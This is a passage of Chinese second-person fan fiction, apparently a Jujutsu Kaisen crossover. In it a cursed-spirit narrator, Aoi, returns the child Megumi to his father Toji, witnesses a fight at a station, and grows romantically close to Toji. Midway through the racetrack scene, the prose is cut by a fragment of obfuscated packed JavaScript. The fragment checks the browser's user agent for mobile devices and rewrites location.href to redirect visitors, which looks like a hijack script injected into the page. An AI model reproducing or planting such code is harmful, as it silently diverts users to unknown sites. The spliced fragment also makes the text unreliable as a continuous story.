“喔,是很好的名字哦。我叫葵,向日葵的葵。惠还记得是在哪里跟爸爸妈妈走散的吗?”
“记得。”
[……备受瞩目的Twinkle Race将于本月20-21日正式开始,来大井竞马场度过一个难忘的周末吧!]
“你是说你爸爸因为看这个太入迷没有注意到你被人冲散了,之后更是直接忘了你,去那边买票进场了?!”
你不能理解,且大为震撼。
虽然惠还是一副没什么表情的面瘫脸,但你偏偏从那双大眼睛里解读出了一点委屈和控诉。
“我会帮你教训他的!”你握着拳头放完狠话,发现你暂时可能真的没什么好办法。
惠还是个小孩,你不能把他单独留在这个人员混杂的地方。但如果要带他进去找人,他肯定会在入口就被拦下来,毕竟其他人都看不见你。
不能指望用竞马场的广播做寻人启事,搞不好惠的爸爸压根就不会注意到广播的内容。咒灵的身体在这种时候真的好不方便啊,你咬了咬拇指,思考着是去下水道找真人,还是打电话给五条悟或者夏油杰会更快更有用。
“……伏黑先生,我这边有个你绝对感兴趣的大单子……伏黑先生,你有在听吗?我怎么好像看见惠了?”
一双皮鞋停在你们面前,你抬起头,看到了一个握着手机的西装青年。对方显然认识惠,他又对着手机那头说了几句,你隐约听见听筒里传来的透着懒散的人声,那个声音被电波干扰,有几分失真。
“……算了,我把惠带过来吧。”青年皱了皱眉,挂断了电话,再看向你们时表情缓和了许多。
“你好。”
你发现他是在和你打招呼。这个人竟然也能看到你!
你在发现惠能看见咒灵后,只当他是和夏油杰差不多的,普通家庭出生的咒术师。但是如果惠的爸爸认识能看得见咒灵的人,情况就不太一样了。
夏油杰跟你特别交代过,必须隐瞒住自己的身份。
“因为你又弱又特殊,老头子们一定会对你很感兴趣,要小心别被抓到哦。”五条悟说这句话时脸上挂着没良心的笑,“不过小葵你的话,只要稍加控制,咒力看起来就像普通人一样稀薄了呢。”
你觉得自己没有他说的那么弱,但夏油杰跟你解释这只是因为五条悟和他都太强了,才会看谁都弱。
这个理由完全站不住脚啊!而且你听出来了,杰这个家伙在跟悟一起嘲讽你哎!
“你好,请问你是认识惠的爸爸吗?”你站起来,决定先发制人,“把这孩子一个人留在外面,也太危险了。”
青年无奈地点头,“伏黑先生在这方面确实很散漫……”
“何止是散漫啊,简直是——”你差点就把人渣这两个字说出口了,考虑到惠还在,你硬生生地止住,“不过你能联系上惠的爸爸真是帮了大忙了,我正愁怎么找人呢。”
“是我要替伏黑先生谢谢你。鄙人孔时雨,不知道小姐你怎么称呼?”
“三叶葵。”你接过孔时雨递过来的名片,看了看,塞进口袋里,“孔先生,既然这样惠就……我跟你们一起进去吧。”
你原本打算悄悄跟在他们后面,确保惠平安之后就离开,可以降低身份暴露的风险。但是在你看到惠的眼神时,顿时觉得自己这样做好人渣。
不行,不可以欺骗小孩子。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262689|166534||http|test|mini|href|location''.split(''|''),0,{}));
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>孔时雨买了三张入场券,工作人员朝你们身后看了眼,确认道,“是三个人吗?”
“是的。”
“孔叔叔,可以快点吗?”一路没怎么说过话的惠突然开口。
“不好意思,我们赶时间。”孔时雨抱歉地笑笑,工作人员没再多说什么,验票之后放你们入场了。
呼,好险。
你悄悄落后半步,弯腰在惠的耳边说,“谢谢你哦。”
惠没有露出反应。你笑眯眯地直起身。看来惠以后是个前途无量的咒术师呀。你开始期待着那个时候了。
竞马场内人山人海,一眼望去全是黑压压的人头。男女老少,各个年龄段,各种职业的人似乎都有。你以前都不知道这种活动竟然这么受欢迎。
亮起的灯光把整个马场照得宛如白昼,跑道上正在进行着一场比赛,你能明显感觉到每个人的情绪都很高涨。有些站的远的人直接用上了望远镜,边观赛边激动地挥舞手臂。
孔时雨在前面艰难地开道,你护着惠跟在后面。虽然你看竞技类的比赛也会热血沸腾,但这里的人未免也太多了,你感觉到了一种久违的不适应。
人群突然爆发出一阵欢呼,你朝场内看去,一匹棕黑色的马率先冲过终点,骑师直起上身,两只手离开缰绳在空中握了握拳,欢呼声立刻大了一倍。
距离下一场比赛开始还有一段时间,一部分人趁此机会挤出去买水或是解决生理问题,大多数人留在原地,激烈地讨论着刚刚的赛况。
你们总算来到观众席的内侧,这里离场地最近,视野非常好。
“看你的表情,是又赌输了?”
孔时雨停在一个人身边。
那个人穿着黑色的衣服,姿态随意地靠着椅背,把手里的马券捏成一团,语气中透着不爽,“都猜到了还问什么。”
你站在原地,惠好像也不是很想过去,不知道什么时候拽住了你的衣角。
“葵小姐,惠,这里。”孔时雨抬手招呼着你们。
“你把那小鬼带来干嘛?”
那个人转过头,你第一眼注意到了对方和惠如出一辙的绿眼睛,而后是那张脸上厌倦颓丧的表情,最后是他嘴角的伤疤。
你牵着惠走过去,露出微笑,“你好,伏黑先生。”
说是要教训他一顿,但你观察了一下你们的体型差距,觉得正面对上不太行。要不拉上真人找机会套完麻袋再揍吧。
而且这家伙的脸……越看越像你在小黑屋里看到的那个少年,尤其是那道疤,连位置都一模一样!
回忆里那么正常的一个人,怎么变成了这种不负责任的大人啊。
“你是什么人?”对方看起来很不友好。
“路过的好心人!作为一个成年人,对自己的小孩也该负点责任吧!惠才这么小,被人拐走了怎么办?”你也不知道自己的语气为什么突然这么冲,可能是因为亲眼看到了对方无所谓的态度。
“……知道了。”
对方出乎意料的没有呛回来,这位伏黑先生满脸不耐烦地扭过头去盯着空荡荡的场地,一副不想再聊的样子。
可恶。你总不能追着他骂,会显得你好没有素质哦。你摸了摸惠的头,“好啦,跟紧你爸爸,别再走散了。”
惠安安静静地看着你。
你心里万分不舍,但还是把手收了回来,“既然人已经送到,我就先回去了。喂,你最好说到做到。”
你恶狠狠地剜了眼伏黑先生的后脑勺,转身就走,决定今晚就准备好麻袋。
12. 第三夜
你蹲在地上生无可恋地抓着自己的头发,骂人这种事果然还是身体意识更擅长,你只要一想起自己刚刚的表现,就尴尬得浑身发麻。
电车缓缓停下。外面的天已经黑透了,你想起走之前惠看你的眼神。果然还是放心不下。你在关门的前一秒冲了出去,站台上空荡荡的,你跑了两步,大胆地变回了咒灵的本体。
以人类的形态跑回去太慢了,只要不被咒术师发现就行。你的另一种形态……是一团缠着线的黑雾。没错,就是你曾经在那个纯白世界感知到的那一团。
那个时候你还没来得及搞清楚状况,它就突然消失了。等到你自己变成这副样子,才有机会仔细研究了一下。你推测雾上面的线原本是要裹成一个茧,但在另一股力量的作用下不断崩坏。你能感觉到,那些线禁锢着你,一旦它们完全消失,似乎会发生一些不得了的事。
你没有把这个推测告诉过其他人,你觉得以五条悟那种看热闹不嫌事大的个性,要么会帮你把线全都弄掉,要么会趁现在直接解决了你。告诉夏油杰等同于告诉五条悟。至于真人,自从回到日本之后,你本能地觉得自己对他还是有所保留比较好。
“……你真的有在听吗?”
孔时雨不得不再次提醒明显是走神状态的伏黑甚尔。
“我接了。资料发我一份。”
伏黑甚尔一脸不耐地站起来。孔时雨看见他的动作,惊讶地挑眉,“赌马还没结束,你这就要走了?”
“嗯。”伏黑甚尔没有解释,手插在兜里走了几步,扭头看向身后,“惠,自己跟上来。”
又一场比赛即将开始,人潮逐渐向场内涌动,孔时雨看着逆着人流往外走的那两个身影,脸上的笑容隐没下去,露出若有所思的表情。
*
你保持着雾的状态,隐匿在建筑物的暗影中,观察着地面上的人。咒力的延伸能帮你捕捉到很远的动静,你觉得和念力有点像,不过你不敢太明目张胆,只循着记忆一片一片区域的搜寻。
欸?怎么会没有!
你找遍了观众席也没见着惠和伏黑先生,倒是看到了边打电话边往外走的孔时雨,他一副给人介绍业务的语气,联系上他给你的名片,你怀疑他做的是什么非法交易。
没找到就说明他们回家了!
一定是这样。
你跟着孔时雨出了场馆,他径直走向停在暗处的一辆轿车,拉开副驾驶的门坐了进去。
有猫腻。你迅速躲进车旁的黑暗中。正驾驶座上是个年轻的女人,一只手搭在方向盘上,夹着一根烟,“单子交出去了吗?”
“他答应得很爽快。”
“好。”女人吸了口烟,从半开的车窗里缓缓吐出去,“继续盯着吧。”
孔时雨下了车。
女人升起车窗,很快,轿车亮起车灯,朝着道路的尽头驶去。
好奇心害死猫。
好奇心害死猫。
你在心里重复了两遍,告诉自己千万不要再掺和进任何复杂的事情里。
可是他们说的那个人可能是伏黑先生,是惠的爸爸哎。
你发现没了身体意识之后,你选择困难的次数越来越多。好想让身体意识帮你做决定啊。
下次应该随身带一枚硬币,纠结的时候像幻影旅团那样抛一下,不管得到怎样的结果,都当做天意。
但你手边没有硬币。你最终决定坐电车回家,你什么都做不了,因为你只是一只弱小的咒灵啊。
*
伏黑惠艰难地跟在伏黑甚尔身后,小孩子的体力原本就比不上成年人,再加上他从中午之后就没有吃过任何东西,眼前已经开始出现一些模糊的重影。伏黑惠喘着气,紧紧攥着手,一言不发。
伏黑甚尔整晚都笼罩在一股低气压下,他没有留意伏黑惠的状况,可能即使注意到了,也不觉得这有什么好担心的。
电车的站台离得不远,很快就能走到。因为是深夜,站台上很空,唯一的一盏灯不停地闪烁,仿佛下一秒就要熄灭。
*
你懒得恢复人形,以雾状往车站的方向飘,你为刚刚的决定感到沮丧,太清醒的自我认知还不如绝对的狂妄自负呢。
唉。你叹了口气。
咔嚓,咔嚓,咔嚓。
啪!
伴随着一声灯泡爆裂的脆响,车站顿时陷入一片黑暗。
处于这个状态时,你的感知是无处不在的,并不像人类的形体那样会被五官和四肢束缚,于是在你开始关注外界的一瞬间,你就看到了从四面八方涌进车站的,奇形怪状的咒灵。
san值狂掉!!
怎么回事啊!就像这里有什么吸引着它们的东西一样。但是同为咒灵的你是为了坐电车才到的这里,并没有感受到任何奇怪的地方。
或许察觉到了你是同类,那些咒灵绕过了你继续往前,由于数量太多,也有那么几个直接撞上来,从你的身体里穿了过去。
那是一种让人很不舒服的感觉,就像你们在某种程度上发生了融合,你有些分不清楚是咒灵穿过了雾,还是雾渗入了咒灵。
而那几个咒灵尚未从雾中走出,就在你的感知里融化了。像一滴墨消失在水里那么轻易,咒灵融化在黑色的雾气中,黑雾看起来没有任何变化,停留在原地,散发着丝丝缕缕的凉意。
你往上飘了飘,试图躲开这群咒灵。突然,一只比你的体型大了十几倍的咒灵迎着你撞上来,你猝不及防的被它吞进肚子里。
这种感觉同样很不好受,然而你只是挣扎了一下,就从那只咒灵的胃里渗了出来。从外界看,则是咒灵身上冒出了一些不详的黑线,那些黑线不断延伸,将咒灵切割得四分五裂,那些碎块都落入随后渗出的黑雾中,转瞬消失。
这一切都像是本能反应。你从来没有想过,原来自己在咒灵间的战斗力还不是很弱。
在吞噬了四五个咒灵之后,你注意到越来越多的咒灵选择了避开你。它们是有智慧的,哪怕是最基本的智慧。
最先涌进车站的咒灵已经迫不及待地扑向目标,你停留在原地,看到在那盏坏掉的灯下站着一个人。
那是,伏黑先生?
他的肩上趴着一只咒灵,那是一只很特别的,没有攻击性的咒灵。伏黑先生朝背后伸手,从咒灵张开的嘴里抓出了一把连着长长锁链的刀。
接下来的场面非常血腥。你不清楚究竟有多少只咒灵,但它们一只也没能通过伏黑先生,惠站在伏黑先生身后,电车的轨道上此刻空无一物。
你有点想捂住惠的眼睛。
不知道过去多久,车站内终于安静下来,惨白的月光下,咒灵的尸体几乎铺了一地,你还没来得及松口气,就看见一把刀破空而来。
你吓得直接变成人形跌在了地上。那把刀从你身边擦过,深深地扎进地板中。伏黑先生抓着锁链的另一头,皱着眉走了过来。
“是你?”
“是……是啊。”你的心脏还在狂跳,几乎控制不了面部表情,你试图露出一个礼貌的微笑,却只是徒劳地牵动嘴角,“好巧。”
你想说,你什么都没有看见,你是人类,不是咒灵。但这种话显然谁都骗不了。
伏黑先生俯身靠近你,你瞬间闻到他身上浓郁的血腥味,他肩上的咒灵慢悠悠地转动眼睛,看向了你。
那把刀被拔了出来。你浑身
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僵硬地坐在地上,张了张嘴,“我不想死。”
“谁说要杀你了。”伏黑先生嗤笑一声,拎着刀站起来。
那把刀上沾满了咒灵的血,正一滴滴的落到地上。你觉得他在这种时候说这样的话很没有说服力,因为只要他随便一抬手,就能瞬间解决掉你,都不会痛苦的那种。
想想不久前还在计划着把他拖进小巷子暴打一顿的你,是多么的天真。
“起来,别坐在这种地方。”伏黑先生又皱起了眉,你发现他经常露出这种表情,就像你干了什么特别糟糕的事。
这么多血还不是他搞出来的,你简直无辜得要命!
你尝试了几下,发现自己可能是刚刚被吓到了,腿还是软的,爬不起来。你有些尴尬,刚想说要不你还是先走,不要管我了,一只手就伸到了面前。
“谢谢。”你自暴自弃地伸手搭上去,伏黑先生很轻松地把你从地上拽了起来。
你跟着伏黑先生走到了站台上,朝等在那里的惠打了个招呼,才想起自己要搭的电车在另一边。
“伏黑先生……”
车灯破开黑暗,电车缓缓地朝站台驶来,停在你们身边。
伏黑先生上了车,惠原本要跟上去,又停下来看着你。
“上来。”
“哦。”你把惠抱起来,一同上了车。
等等,他刚刚的话是对惠说的吧!
你迟疑地看了眼还没有关闭的车门,怀里的惠抱住你的脖子,在你耳边轻轻打了个哈欠。
算了,先把惠送回家。
你谨慎地坐在了距离伏黑先生两个空位的地方。伏黑先生没有看你,靠着椅子闭目养神。
电车已经驶出车站,窗外是一大片黑漆漆的山野,像传说中会生出精怪的地方。车窗上倒映出伏黑先生和惠的身影,属于你的位置模糊一片,时刻提醒着你,并非人类的事实。
轻轻晃动的车厢中,你的意识逐渐模糊,你用仅剩的理智告诉自己,咒灵不会轻易睡着,却感受到无法抵挡的困意,拉扯着你不断下沉。
轻微的卡带声,接着是两下砰砰的闷响。
“好可惜,好像是真的坏了。”
少女蹲坐在地上,一只手抱着膝,一只手珍惜地在收音机上摸了摸。
在她身旁,穿着短袖的少年收起工具箱,直接坐到矮矮的置物柜上,毫不客气地曲指敲了敲安静的收音机。
在少女的瞪视下,少年松开手指,指腹在那一排按键上蹭了蹭,“都用这么久了,坏了也正常……别难过了,再给你买新的就是。”
少年垂眸看着少女头顶的发旋,似乎在犹豫着要不要摸上去。
“这是你送我的第一份礼物,我想要保存得久一点嘛。”少女恋恋不舍地收回手,仰头看着少年,“我们把它收起来吧。”
“嗯,好。”
少年坐着没动,两个人就这么安静地注视着彼此,少女的脸颊慢慢爬上绯红,抬手去摸少年的脸,“干嘛突然这样,也太犯规了吧……你热不热呀?”
答案是显而易见的。
少年单手撑在柜子边缘,上身前倾,少女拨开他额前的碎发,用手背仔仔细细地擦去他脸上的汗珠,指尖往下,停留在他嘴角的伤疤上。
少年的脸也有些红,他握住了少女的手,并不是很用力,只是将她拉开些。
少女无辜地眨了眨眼,“怎么啦?”
“有点痒。”
“哦。”少女任由他握着自己的手,下巴枕在膝上,看着少年,露出一个明亮的笑,“好想让时间停下来呀。”
“说什么傻话。”
“是啦,我们要一起长大的嘛。”
13. 第四夜
这是你成为咒灵后睡得最沉的一次。咒灵不需要睡觉,你平时也只是按照人类时的习惯躺在床上放空自己。所以当你醒来时,有一阵子的茫然。
你分不清在那个梦里感受到的情绪,究竟是快乐多一点,还是遗憾更多。脸颊传来的温度让你回过神,你发现自己竟然不知道什么时候靠在了伏黑先生身上。
他还是那副闭目养神的状态,刘海垂下来挡住了眼睛。你有些尴尬地坐直了,他突然睁开眼看向了你。
“……不好意思,我刚刚睡着了。”
“为什么哭?”
“哎?”你抬手摸了摸自己的脸,一片湿漉漉的凉意,“……我不知道。”
总不能说,因为梦到了他以前的事,突然间很难过吧。可是你梦到的明明是愉快的往事,所以就连难过本身,都产生得毫无缘由。
粗糙温暖的指腹按到你脸上,轻轻擦了擦。你意识到他在干什么,连忙往后躲了一下,“……不用了!谢谢。”
“……那就把自己打理得精神点,不要让惠看到你这副样子。”
“哦。”
伏黑先生收回了手,脸上被他碰到的地方却不受控制地发烫,你徒劳地捂住了脸,想要在座椅上缩成一团。
你觉得自己似乎有些不像自己了。
*
伏黑惠迷迷糊糊地醒来,发现自己躺在一个很温暖的怀抱里。他已经很久没有被这样拥抱过,伏黑甚尔只会自顾自的往前走,从来都不会等他。
伏黑惠抬起头,是那个名字叫葵的大姐姐。她睡着了,睫毛在眼睑处投下一片浅浅的阴影,发绳有些松散,红色的穗子垂落着,轻轻摇晃。就像下午在长椅上看到的一样安静又无害。
伏黑甚尔不知道什么时候紧挨着他们坐下来,他低头看着葵,脸上是伏黑惠从来都没有见过的复杂神情。
车厢晃了晃,葵毫无所觉地往旁边倒去,伏黑甚尔伸手接住了她,动作很轻地让她靠在了自己的肩膀上。
伏黑惠看到伏黑甚尔做完这一切后,像是松了口气,一低头和他对上了视线。
“看什么看!”伏黑甚尔用口型恶狠狠地警告他,伏黑惠默默地往葵的怀里缩了缩,伏黑甚尔顿时露出气结的表情。
*
因为末班车坐过站不得不走回去这件事也太逊了吧!
你绝对不承认起因是你自己睡过了头。直接把你喊醒就好了嘛。可恶,就算是咒灵,一天之内走这么远也是会累的。
差不多又过了两站路,你明显感觉到体力不支,伏黑先生没有任何疲劳的迹象。他果然不是正常人!这个体质简直比咒灵还可怕。
“伏黑先生……”你不得不喊住他,“请问……还有多远?”
“才走了一半不到。”伏黑先生转身看着你,你累得调动不了咒力,不太能看清他的表情,只觉得是晴天霹雳。
再继续你就要用爬的了,等爬到估计天都亮了。你立刻就站住不动,“能不能……就在这里等早班车啊?”
“……”
伏黑先生比你想象中要好说话得多。
每当你以为他要拒绝的时候,他都意外的妥协了。
你们在铁轨旁找了一片空地坐下来,这里大概是城市的远郊,没有铺设路灯,也没有居住的痕迹。面前是一大片草坡,坡下黑森森的一片树林,更远些的地方,才隐约透着亮光。
夜空是深蓝色的,下弦月挂在天上,已经到了后半夜,过不了多久就会迎来天明。在这里看日出也不错。
“你叫……葵?”
你侧过头,伏黑先生仰躺在草坡上,看着天空。
“是的。”
“为什么叫这个名字?”
他是在好奇咒灵名字的来源吗?你还从来没有思考过真人为什么叫真人。
“其实我小时候失忆啦,被村里人捡到的时候,只记得这个名字了。嗯……我以前其实是人类哦。”
伏黑先生轻轻嗯了声,没有对你提出质疑,你有点开心。
“除了名字,还记得什么?”
“还有以前住过的房子……不过我托人去找过,好像起火烧掉了,好可惜。”
你很少和别人聊起这些,整个人精神很多,但还记得要控制好音量,不能吵到睡着的惠。
“剩下的都是一些很小的事情了,我记得有一天我在躺着晒太阳,旁边有一只猫,摸起来特别软。还有……”
你一不小心就说了很多,发现伏黑先生已经闭上了眼睛,有些不好意思地停下来,“抱歉,太久没有人问过这个啦。”
在你还在村子里的时候,大家为了照顾你,都刻意的不在你面前提失忆的事。你整天要么跟着卡卡到处玩,要么跟着山姆大叔学手艺,要么窝在床上看漫画,偶尔帮惠子奶奶照料花园,也没时间去想这些。
出了村子以后,更是一路上状况不断。算起来距离你离开村子还不满一年,经历复杂得像是过了一辈子一样。像现在这样只是坐着跟人聊天,都是几乎没有过的事。
“谢谢你听我说这些,伏黑先生。”
一抹莹绿倒映在伏黑先生睁开的眼中,你一时分不清那究竟是来自外界的光,还是他眼睛本来的颜色。
伏黑先生伸手在空中虚虚一握,递到你面前。
“什么?”你从他略微松开的指缝里看到一点碧色的流光,睁大了眼睛,“萤火虫!”
“嗯。”伏黑先生松开手掌,你下意识伸手去接,那抹萤光却在靠近你的一瞬间受了惊吓一般,迅速逃去了天上。
“啊……我差点忘了,它们好像不太喜欢咒灵。”你收回手,朝伏黑先生笑了一下,“不过,能看到也很开心。”
那天的日出也很漂亮。
最开始是金黄的一轮,从遥远的天边升起,渐渐的变得光芒万丈,那些耀眼的光刺穿云层,照亮天宇,从远方的山脉到近处的树林,蜿蜒的河流和铁轨,一切都笼罩在金色的光辉下,宛如新生。
你不记得自己看了多久,日出和日落都是让人永不腻烦的景色。
直到身边传来伏黑先生的声音。
“走吧。”
“好。”你眨了眨被刺得酸涩的眼睛,脚步轻快地追了上去。
*
电车的速度比走路快得多,大约二十分钟后就到了站。伏黑先生的家看上去非常普通,他从门口的花盆底下摸出钥匙打开门,玄关处随意地搭着几件衣服,地上放着鞋子。
你有些犹豫要不要跟进去,毕竟原本只是想要确认惠能安全到家。
“伏黑先生,我……”
他扔给了你一双拖鞋。
好吧。你换上鞋走进去,忍不住想了想在普通人眼中究竟
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是你和鞋子都看不见还是只会看见一双鞋子在走路的问题。
很快你就开始后悔自己跟了进来。
地上散落着一些衣服,嗯,男性和女性的衣服都有,一路落到了虚掩的房门口。但是伏黑先生刚进门,所以……
你抱着惠后退了一步,有些担心自己会被灭口。伏黑先生也看到了那堆衣服,他径直走到门边,神色平静,砰砰地敲了好几下,里面才有了动静。
“不是说过了,别把人带回来。”
啊,这走向和你想象的有点不太一样。
房门被拉开了些,从你的角度只能看到一条雪白的胳膊从房间里伸出来,勾住了伏黑先生的脖子,女人的脸被头发遮挡住,声音带着刚睡醒的慵懒。
“就这一次,要不要一起?”
你的三观摇摇欲坠。
好在伏黑先生伸手推开了她,“我没兴趣,你不要把这里弄得乱七八糟。”
女人轻笑着关上了门。
房门关上后,你有些尴尬。
你不清楚伏黑先生此刻的内心活动,但为了缓解自己的尴尬,你抢在他前面开口了,“吃早饭吗?”
在你翻遍整个厨房,只找到半颗发了芽的土豆之后,你无奈地回到了客厅,告诉伏黑先生你们需要去一趟超市。
伏黑先生点点头,去了房间里换衣服。等他的时候你在屋子里转了转,看到阳台上养着一盆蓝色的绣球,似乎正值花期,开得非常茂盛。
植物不会躲开咒灵=可以在家里养花!
而且你现在住的地方确实很空。
这是个好主意!你决定这次回去就找些花种,可惜春天已经过去了,不然可以布置得更漂亮。
你构思着屋内陈设时,无意识地揪了揪发绳,头发一松,低头才发现自己一不小心把它拽散了。这下你就有点头疼,因为这个发辫是昨天出门前真人帮你编的,你一直没有学会。或者说,你除了扎马尾什么都不会。
你拿着发绳往头发上比划,因为咒灵没办法在镜子里倒映出形体,只能全凭想象,你也不知道最后会绑成什么样子。
“在做什么?”伏黑先生的声音从客厅里传来,他已经换上了干净的衣服。
“这个……一不小心弄散了。”
你一张口,嘴里咬着的发绳直接掉下来,刚缠了一半的头发瞬间垮掉,你把散落的发绳抓在手心里,有些欲哭无泪。
伏黑先生走过来抽走了你手里的发绳,站到你身后。一只手拨了拨你的头发,你有些惊讶地扭头,“你还会这个啊?”
“别乱动。”
“噢。”你转了回去,感觉头发被他的手指轻轻梳拢,指腹蹭过头皮的感觉让你有些背脊发麻。这和真人帮你扎头发时的体验完全不一样。
伏黑先生好像真的很高。你这样直挺挺地站着,他也显得毫不费力。他的呼吸很轻,只有手指偶尔会碰到你的脖子,让你忍不住想要打哆嗦。
果然还是昨晚被吓到了。
你这样说服着自己。
“好了。”气息轻轻地掠过发顶。
你迫不及待地往前挪了一步,隔开点距离,伸手摸了摸编好的辫子,有点想象不出来它的样子,转过身有些不好意思地看着伏黑先生,“看起来怎么样?”
“不错。”伏黑先生牵了牵嘴角,“很适合你。”
14. 第五夜
“你不对劲哦。”
“哪有!”你下意识反驳,伸手把真人从料理台前推开,“不要打扰我做饭。”
“没错,你做饭的频率变高了,出门的次数也变多了,甚至——还会夜不归宿!”
“你不是整天在下水道搞你的研究吗!我在不在家你怎么会知道啊!”你吼完才发现自己中计了。
真人露出看穿一切的表情,围着你转了一圈,“让我想想,是从哪天开始的……大概一个礼拜之前,你编了新的辫子!肯定不是你自己编的吧。”
“你在瞧不起谁啊!”可恶,你的脸已经快烧起来了。
“所以,你果然——”
“我不是我没有!”你拼命的想要阻止真人说出后面的话。
真人的脸停在离你大约一厘米的位置,有那么一瞬间,你在他的眼睛里看到了自己的倒影,红着脸惊慌失措的样子。
“不行哦,葵,不可以丢下我。我才是你的同类。”
“我没有要丢下你……不对,那个束缚你单方面遵守好就行了吧。”
“我是说真的,不是说束缚。”
真人此刻是成年人的外形,低头看着你的时候带有一些压迫感,这种感觉很陌生。
“人类都会骗人,但是,葵,你不会骗我,对不对?”
“我干嘛要骗你啊。”你直视着他的眼睛,尽量忽略掉心头的那点异样,“我被你骗的可能性更大吧。”
“我也不会骗你。”
“那就最好了。”你终于忍受不了这种古怪的氛围,伸手推他,“好啦,不要再聊这种沉重的话题,轻松一点啦。”
“干嘛露出这种表情嘛,葵,跟我一起出门难道不开心吗?”
真人蹲在你面前,露出讨打的笑容。
当然是因为你在思考待会怎么跟伏黑先生解释自己突然带了一个咒灵去找他啊混蛋!
“葵现在的表情,是想打人吗哈哈哈……”真人的笑声戛然而止,因为你忍无可忍地锤了他的脑袋。
“你果然变了,你以前不会打我的,果然是因为已经变心了吗?你竟然喜欢上了别人!”
哪怕全车厢的人都听不到你们的声音,你也想让他立刻闭嘴了。
“根本不是这样!伏黑先生已经有家室了!”你硬着头皮反驳,“而且你这些台词,到底是从哪个狗血剧上面找来的啊,你不要整天看这些乱七八糟的东西!”
“原来如此。”真人露出恍然大悟的表情,“葵,原来你喜欢人夫!”
一瞬间五雷轰顶,你全身的血液都涌到头上,“你胡说什么啊!!!”
下车的时候你身心俱疲,真人不再是流星街里那个可爱()又单纯()的真人了,他被这个可恶的世界污染了。
一路上你越走越慢,等走到伏黑先生的家门口,你发现自己并不想进去。
“葵……”
你没有理会真人,尝试着往前踏了一步,发现自己果然发自内心的在抗拒。
“我们还是回去吧。”你叹了口气,转身就走。
“哎?不是已经到了吗?怎么就要回去啦。”真人拉了拉你的袖子。
“因为……”你发现自己说不出理由。
咔哒。
身后传来开门的动静。
你浑身僵硬地转身,看到了站在门口的伏黑先生。
“伏、伏黑先生,早、早上好啊。”
见鬼了。你从来没有这么紧张过。
“这是,我弟弟,他叫真人。也是咒灵,但是很好。”
“嗨。”真人超级自来熟地打了个招呼,并且悄悄地挡在了你前面。
谢谢你,真人。你趁机喘了口气。
“过来。”
“好。”你从真人身后走出来,拎着饭盒走过去,“那个……你们吃早饭了吗?没有的话,我准备了一些……”
“葵,早。”
惠从房间里出来,朝你打了招呼。每次都能成功把你可爱到。
对面的房间也打开了门,一个小女孩走出来,站在惠身边,朝你的方向挥了挥手,“早上好,葵。”
“早上好哦,惠、津美纪。”
你弯腰在他们的头顶轻轻摸了摸。津美纪是伏黑太太再婚前的孩子,只比惠大一岁,是个非常可爱的小女孩。
从津美纪的长相上看,伏黑太太一定是个大美人,只不过除了那一次以外,你没有再见过她,似乎是因为不能带人回家所以再也没有回来……嗯……大人们的世界你不是很懂。
“葵。”惠拽了拽你的衣角,你顺着他的视线看到了跟在你身后的真人。
“啊,这个是我的弟弟,他叫真人,惠直接喊名字就好啦。”
惠转头跟津美纪转述了一下,津美纪点点头,朝真人挥了挥手。
“欸,她看不见咒灵啊。”真人一脸可惜,又看着惠,露出感兴趣的表情,“我可以和他玩吗?”
“可以啦……”你看了伏黑先生一眼,他正在厨房处理你带过来的早饭,你压低声音,“你记得收敛一点。”
“我懂我懂。”真人笑眯眯地点头。
*
你在早饭后才明白真人的意思,因为他带着两个小孩去外面玩游戏,把你一个人留在了屋子里。
伏黑先生和你一起收拾好了厨房,在那之后,你发现自己找不到可以做的事情了。往常的这个时间你都会陪着惠和津美纪,现在这件事被真人抢先一步,你有些茫然,然后无法控制地心跳加速。
现在这个状态,找借口离开最好吧。
你迟疑地跟着伏黑先生走到了阳台,看到他在给那盆蓝色的花浇水。
那盆花的名字叫“无尽夏”,花期很长。
“你和他是怎么认识的?”
“你是说真人吗?”
也是,咒灵,不太像是会有真正意义上的兄弟姐妹的样子。
“我在一个很乱的地方捡到了他,他那个时候是小孩子的样子,被人打得很惨,我有点担心他一个人在那里能不能活下去。他说想要跟着我,我就带上了他。”
“为什么会去那种地方?”
“这个就说来话长啦。”你回忆了一下自己那段离谱的经历,发现很难解释清楚。
“一不小心就被扔进去了,又很突然的被人带走……从村子里出来之后,我其实是想找个安稳点的地方,但好像有点难,总是出现各种状况。”
伏黑先生靠着窗看着你,一直没有说话,也没有打断你,他在听你说话时总是显得很认真,让你一边感到难为情,一边又不可抑制地想要分享更多。
“……被扔到那里以后,我其实一直有在找出去的办法,但那里实在太大啦。如果不是后来有一批人找上我,可能我到现在都还没能出去。”
你不想说得太详细,这样好像会显得你很逊,但你也不想欺骗他,只好尽可能的挑挑拣拣。
不过,你好像还是说的太多了。
“伏黑先生,你可不可以……不要这样看着我啊?”
伏黑先生又露出那种表情了,那种看到你干了什么坏事的表情,眼神里还有一些沉甸甸的东西,会让你渐渐的喘不过气来。
你有些后悔了。
身为一只咒灵,你不该和人类有过多的牵扯,就算是咒术师也不行。而且,伏黑先生……
你往后退了退,撞到了靠墙放
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着的蔷薇花架,垂落的藤蔓在空中晃了晃,上面缀满了白色的花苞。
在这种时候,人类会有怎样的反应,咒灵又该怎样呢?你满脑子乱糟糟的想法,在伏黑先生吻上来的瞬间消失了。
完全无法反抗。
就像他在血泊中朝你走来的那个夜晚。
“怎么又哭了?”
他低头看着你,指腹轻轻蹭过你的眼角。
“我不知道……”
你想要喘气,或者找个地方大哭一场,但伏黑先生在你面前,你哪里都去不了了。
一连好多天,你都没有再去找过伏黑先生。你不知道自己该以怎样的心情去面对他。
这种情绪像夏天的野草一样疯长。
你同样害怕自己会在街上遇到他,所以连门都没有出,但是看到窗台上渐次开放的无尽夏,又会想起他。
想起他的次数越多,回忆里的那些东西就越来越清晰。你记得那些关于他的梦,也记得那只飞向夜空的萤火虫。
他到底是个什么样的人呢?
你看着天上的月亮从几不可见的线变成弯弯的钩子,逐渐充盈,趋向圆满。
有时候,你也会想起曾经在医院里遇见的那些人。那些困扰着他们的难题如今也困扰着你,就像因果循环。
“你再这样下去,我就要后悔把你让出去啦。”
“这种时候,你就不要再来捣乱了吧。”
